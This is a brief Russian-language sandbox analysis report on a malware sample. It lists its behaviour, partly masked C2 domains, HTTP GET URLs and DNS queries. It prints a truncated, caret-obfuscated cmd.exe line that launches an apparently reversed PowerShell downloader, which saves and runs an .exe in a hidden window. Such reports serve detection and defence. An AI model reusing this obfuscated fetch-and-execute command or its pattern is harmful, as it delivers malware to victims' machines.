Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V:/C"s^e^t w^uj^2= ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{hc^t^ac^}^;^ka^er^b;cQn^$ m^e^tI-^e^k^ovn^I;)cQn$ ,^j^Sa$(^el^i^Fd^a^oln^wo^D.r^ij${yrt{)wN^s$ ni jS^a^$(hc^a^erof;'e^x^e.'^+^w^w^H$+^'\^'+ci^l^...
Сетевая активность
Подключается к
- 'mr###hphuc.com':80
- 'mr###hphuc.com':443
- 'nc###ared.com':80
- 'nc###ared.com':443
TCP
Запросы HTTP GET
- http://mr###hphuc.com/HZggbn9vNI
- http://nc###ared.com/wdzR5yn
Другие
- 'mr###hphuc.com':443
- 'nc###ared.com':443
UDP
- DNS ASK ha###liwen.net
- DNS ASK mr###hphuc.com
- DNS ASK nc###ared.com
- DNS ASK nf##2018.dk
- DNS ASK mi###tech.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V:/C"s^e^t w^uj^2= ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{hc^t^ac^}^;^ka^er^b;cQn^$ m^e^tI-^e^k^ovn^I;)cQn$ ,^j^Sa$(^el^i^Fd^a^oln^wo^D.r^ij${yrt{)wN^s$ ni jS^a^$(hc^a^erof;'e^x^e.'^+^w^w^H$+^'\^'+ci^l^... (со скрытым окном)
